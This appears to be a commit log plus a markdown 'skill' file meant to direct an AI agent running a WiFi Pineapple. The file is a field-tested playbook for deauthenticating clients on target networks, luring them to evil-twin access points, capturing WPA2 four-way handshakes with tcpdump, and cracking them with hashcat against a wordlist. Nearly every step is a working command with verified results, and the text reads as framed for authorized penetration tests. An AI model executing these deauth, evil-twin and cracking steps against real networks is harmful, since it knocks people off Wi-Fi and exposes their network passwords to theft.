- deauth/kick: use full PINEAPPLE_DEAUTH_CLIENT hak5cmd app name (BUG 1)
- _allow_all_ssids: PINEAPPLE_NETWORK_FILTER_MODE deny so karma lets
clients associate after deploy (BUG 2)
- enterprise inner EAP (BUG 3), two root causes found by live experiment:
- hostapd never wildcard-matches a bare `*` identity for phase-2
lookups; eap_users now uses quoted empty prefix `""* ... [2]`,
which prefix-matches any inner identity
- pineape_auth_pass=1 forwards inner EAP to pineapd, which has no
standalone responder; deploy forces 0 and stop restores 1
Residual: plaintext MSCHAPv2 capture is firmware-blocked on 24.10.1
(MSG_DEBUG compiled out of the karma wpad; `-f` silently ignored);
documented in code comments and the validation report.
- ISSUE 4: point pineapd.@hostapd[0].mgmtiface at wlan1wpa during 5 GHz
WPA deploys so handshakes/loot populate; cleared on stop
- ISSUE 5: radio0 set_ap path polls 90 s across the wifi-reload window
and retries set_ap once if the iface still has not appeared
- ISSUE 6: skills docs use `llc && eth.type == 0x888e` (firmware tcpdump
matches 0 frames on `eapol`)
- ISSUE 7: capture state helper detects dead-pid / iface-down, cleans up,
status reports {running:false, stale:true} instead of zombie running
- tests: fix global os.path monkeypatch leaks between test modules that
broke test_mk8_events/test_reliability_api under discovery; add
regression coverage for all fixes above (463 tests green)
Live validation evidence and newly discovered firmware quirks
(DEVICE_FILTER_DELETE no-op, dropbear rate limiting) recorded in
docs/validation/2026-08-23-pineap-validation-report.md.
139 lines
10 KiB
Markdown
139 lines
10 KiB
Markdown
---
|
|
name: wifi-deauth
|
|
description: Use for Wi-Fi deauth attacks and WPA2 handshake capture with the WiFi Pineapple — target discovery from the recon DB, PINEAPPLE_DEAUTH_CLIENT technique, channel-pinning pitfalls, raw monitor capture for EAPOL, PMKSA/steering failure modes, evil-twin luring, and hashcat handoff. Written authorization required. Device access, process control, and persistence live in the pineapple-control skill.
|
|
---
|
|
|
|
# Wi-Fi Deauth & Handshake Capture (WiFi Pineapple Pager)
|
|
|
|
Field-tested attack methodology: deauth clients on a target SSID and capture a WPA2-PSK four-way handshake for hashcat, using the Pineapple Pager (FENRIS/PineAP firmware).
|
|
|
|
**STOP first: confirm the user has written authorization for the target networks. Deauth is disruptive; proceed only with confirmed scope, and deauth ONLY the identified target BSSIDs (never "all APs in range").**
|
|
|
|
Device access, the `PINEAPPLE_*`/`_pineap`/`hostapd_cli` command surface, pineapd crash fixes, standing captures, and `/etc/config/wireless` persistence are in **pineapple-control** — read it first, then return here.
|
|
|
|
## 1. Discover target APs (passive recon first)
|
|
|
|
Query the recon DB read-only with a timeout (pineapd holds the DB; a blocking read can hang it):
|
|
|
|
```sh
|
|
timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \
|
|
"SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40"
|
|
```
|
|
|
|
- `ssid` stores SSID as BLOB — `CAST(ssid AS TEXT)` decodes it.
|
|
- Live JSON: `_pineap RECON APS limit=30 format=json`, `_pineap RECON DEVICES limit=50 format=json`, `_pineap RECON ISEARCH <ssid>` (case-insensitive).
|
|
- Beware two result traps: (a) one physical AP appears under several BSSID variants (first-octet differs per SSID/band, e.g. `92:18:88:` vs `92:18:98:` with the same suffix) — deauth ALL variants of the target SSID; (b) SSID spellings can differ per radio — enumerate both. Confirm current presence with `ISEARCH`; BSSIDs seen only as probe sources (not beaconing) are out of scope.
|
|
- Identify active clients in `wifi_device` (high packet count, non-AP MAC) and their band (`freq` 2412 = 2.4, 5180 = 5).
|
|
- Check whether the Pineapple already karma-clones the target SSID: `iw dev` shows the evil-twin ifaces and their BSSIDs; a clone BSSID can collide with a real one.
|
|
|
|
## 2. Deauth (the working method)
|
|
|
|
`PINEAPPLE_DEAUTH_CLIENT` = `hak5cmd` → pineapd socket `/tmp/pineap_sock`:
|
|
|
|
```sh
|
|
PINEAPPLE_DEAUTH_CLIENT <AP_MAC> <CLIENT_MAC> <channel> # single client
|
|
PINEAPPLE_DEAUTH_CLIENT <AP_MAC> FF:FF:FF:FF:FF:FF <channel> # all clients on AP
|
|
```
|
|
|
|
- MACs with colons work. Channel should be the AP's actual channel.
|
|
- Verified rhythm: a burst of ~50 frames per call; `sleep 1-2` between calls; 5-8 calls per AP. Do not keep blasting on failure (see §6).
|
|
- **Injection phy gotcha:** deauth frames are injected via the phy of the configured inject interface (default `wlan1mon`, 5 GHz) REGARDLESS of the channel argument — a "channel 1" deauth still goes out on 5 GHz. To hit 2.4 GHz clients the inject interface must be on phy0 (`_pineap INTERFACE INJECT wlan0mon`).
|
|
- Verify on the wire afterward: injected frames appear as deauth/disassoc with SA=spoofed BSSID, DA=target/broadcast (see §5).
|
|
- `connection refused` on the socket = pineapd down (crash-loop) — fix per pineapple-control, then retry.
|
|
- Logs/loot dirs: `/root/loot/fenris/`, `/root/loot/pcap/`, `/root/loot/handshakes/`.
|
|
|
|
## 3. Channel pinning — what works and what crashes
|
|
|
|
| Method | Result |
|
|
|---|---|
|
|
| `PINEAPPLE_EXAMINE_BSSID <mac> <sec>` / `_pineap EXAMINE BSSID ...` | **CRASHES pineapd (device may reboot). Do not use.** |
|
|
| `_pineap RECON NEW name=x channel=N` | Returns rc=0 but does **not** pin the monitor radio — recon keeps hopping. |
|
|
| `iw dev <mon> set channel N` | Fails "Resource busy" when the phy is held by the AP interface (karma / evil twin). |
|
|
| `iw dev wlan1mon info` | Read-only, safe — shows the channel the AP interface holds (e.g. `channel 36 (5180 MHz)`). |
|
|
|
|
Monitors are effectively pinned to the channel their phy's AP interface holds (2.4 GHz → ch1, 5 GHz → ch36 on the lab unit). `_pineap INTERFACE LIST` may label an interface "hop" even when it is physically pinned — trust `iw dev`, not the label.
|
|
|
|
## 4. Handshake capture — where built-in capture fails and the workaround
|
|
|
|
**PineAP's `PCAP START` export is management/control frames ONLY** — zero data, zero EAPOL. Never rely on it for handshakes.
|
|
|
|
The `handshake`/`hostap_handshake` tables and `/root/loot/handshakes` populate only for the Pineapple's OWN evil-twin AP (see §6). For the real AP, use a raw monitor capture:
|
|
|
|
**Field-verified 2026-08-19 — the passive capture is GOLD (better than the twin):**
|
|
pineapd's `handshake` table captures a full 4-way for ANY nearby AP the
|
|
monitor can hear, even when the client refuses the evil twin entirely. In a
|
|
live engagement, a target client (Nintendo Switch 2) got `auth status=1`
|
|
rejections from the karma twin and never associated — but when it
|
|
reconnected to the REAL AP, pineapd logged:
|
|
`[HANDSHAKE] handshake AP <real-bssid> CLIENT <mac> crackable [B,1,2,3,4]`
|
|
and wrote both `.pcap` + `.22000` files to `/root/loot/handshakes/` on its
|
|
own. The monitor must be on the real AP's channel (on this lab unit the
|
|
2.4 GHz monitor is pinned to the uplink's channel — see pineapple-control).
|
|
The exported hashcat line verified against the target SSID:
|
|
`WPA*02*<mic>*<apbssid>*<clientmac>*<ssid-hex>` — direct `hashcat -m 22000` input.
|
|
Clients that DO associate to the twin also produce `hostap_handshake` rows
|
|
(roaming client verified), so both paths produce loot.
|
|
|
|
```sh
|
|
# single session: background tcpdump, run deauth rounds, listen, kill.
|
|
tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap & TDPID=$!
|
|
... deauth bursts on the same channel ...
|
|
sleep <listen window, e.g. 60-90s>
|
|
kill $TDPID
|
|
```
|
|
|
|
- Pick the monitor pinned to the target channel (`iw dev`). A monitor sees remote radios (AP and clients) fully; on 5 GHz it will NOT see the Pineapple's own TX (see pineapple-control), so an evil-twin M1/M3 won't appear — rely on `hostap_handshake` + loot for own-AP captures.
|
|
- `nohup ... &` from a non-interactive ssh drops the process (file never appears) — run the whole round in ONE ssh session and background-kill within it.
|
|
- Pull with scp; analyze locally with tshark (brew: `wireshark`, `hcxtools`).
|
|
|
|
Analysis one-liners:
|
|
```sh
|
|
tshark -r cap -T fields -e wlan.fc.type -e wlan.fc.subtype | sort | uniq -c # frame mix
|
|
tshark -r cap -Y "llc && eth.type == 0x888e" -c 10 # 4-way keys (this firmware's tcpdump/tshark `eapol` filter matches 0 frames — use llc/ether-proto)
|
|
tshark -r cap -Y "wlan.fc.type==0 && wlan.fc.subtype==12" -T fields -e wlan.sa -e wlan.da # deauths (injected vs client-mirrored)
|
|
tshark -r cap -Y "wlan.fc.subtype==8" -c 1 -V | grep -A30 "RSN Information" # WPA2/PSK + PMF bits
|
|
```
|
|
- RSN decode: AKM 00:0f:ac = PSK (WPA2, auditable). SAE only = WPA3 (no 4-way). "MFPC/MFPR" set → PMF-requiring clients will skip a non-PMF evil twin.
|
|
- WPS: no "Config Methods" element (0x0043) or no AP PIN in the WPS IE → WPS disabled; the `-m 2560` route is dead.
|
|
|
|
## 5. Expected failure mode: PMKSA fast reauth (plan for it)
|
|
|
|
On venues with steering/anti-rogue controllers, clients return within ~100 ms via **PMKSA-cached fast reauth (2-frame, no EAPOL)**. No deauth volume forces a fresh 4-way — the cached PMK lives on the client.
|
|
|
|
**Verified tell-tales on the lab venue:**
|
|
- Steady stream of targeted deauths from the AP BSSID at individual client MACs, plus deauths aimed at the attacker.
|
|
- The target client **mirrors every injected deauth**: same-frame-count deauth/disassoc streams back with SA=client MAC (and broadcast-SA variants) toward the AP BSSID within ~2 ms — an active anti-deauth unit.
|
|
- Client reassociates to the REAL AP immediately (auth/reassoc burst) with **zero EAPOL**.
|
|
|
|
A fresh 4-way occurs only on:
|
|
1. A **brand-new client's first association** (new person/device arriving), or
|
|
2. A **GTK rekey** (AP-side, typically hourly).
|
|
|
|
Mitigations / planning:
|
|
- Multi-channel ops: an AP may serve the SSID on several channels/bands — monitor and deauth each; a steered client misses a single-channel window.
|
|
- **Evil-twin luring** converts a client only if the real AP is weak/unavailable. Verified outcomes: a 2.4 GHz WPA2 clone captured nothing (5 GHz client never fell to 2.4); a same-band 5 GHz clone (ch36) also captured nothing — the client stayed locked to the strong real AP via PMKSA and never probed the clone. Build a same-band clone persistently via `/etc/config/wireless` (pineapple-control); any handshake the clone conducts lands in `hostap_handshake`/`/root/loot/handshakes`. A wrong-PSK clone still yields a crackable M1/M2 (client computes M2 with its own real PMK); set `disable_pmksa_caching=1` in hostapd so joining clients do a full 4-way.
|
|
- When no 4-way is achievable in the timebox, **stop and document (§7)**. Do not keep blasting — repeated deauths trigger client-side reconnect throttling (iOS/Android anti-deauth) and make a fresh 4-way LESS likely.
|
|
|
|
## 6. Handoff to hashcat (once an EAPOL 4-way is captured)
|
|
|
|
```sh
|
|
hcxpcapngtool -o IBC.hc22000 capture.pcap[ng] # brew hcxtools
|
|
hashcat -m 22000 IBC.hc22000 -a 0 /usr/share/wordlists/rockyou.txt
|
|
```
|
|
WPA2-PSK only. If WPS was open (rare), `-m 2560` on the WPS nonces instead.
|
|
|
|
## 7. Report language when no handshake is captured
|
|
|
|
> Deauthentication was successful against <targets> (N frames, verified on wire). Handshake acquisition was not achievable within the engagement window: the venue's AP runs an active steering/anti-rogue controller (continuous targeted client deauths, including deauths of the attacker radio's MAC) and clients re-authenticate via PMKSA fast reauthentication without EAPOL key exchange. A new client association or the venue's periodic GTK rekey (hourly) is required to produce a capturable WPA2 four-way handshake for hashcat auditing.
|
|
|
|
If an evil-twin attempt was made, add: the clone (SSID/band) was live and verified, but no client engaged it while the real AP remained reachable.
|
|
|
|
## 8. Teardown
|
|
|
|
```sh
|
|
killall tcpdump # pkill is NOT on this BusyBox
|
|
timeout 15 _pineap RECON NEW name=pager hop=fast # restore default recon
|
|
```
|
|
|
|
Leave SSID-pool additions (harmless) or remove with `PINEAPPLE_SSID_POOL_DELETE`. Keep `/root/loot/**` artifacts as evidence; scp them off before leaving the site. If you disabled the SSID pool to fix a pineapd crash, say so (it stays disabled).
|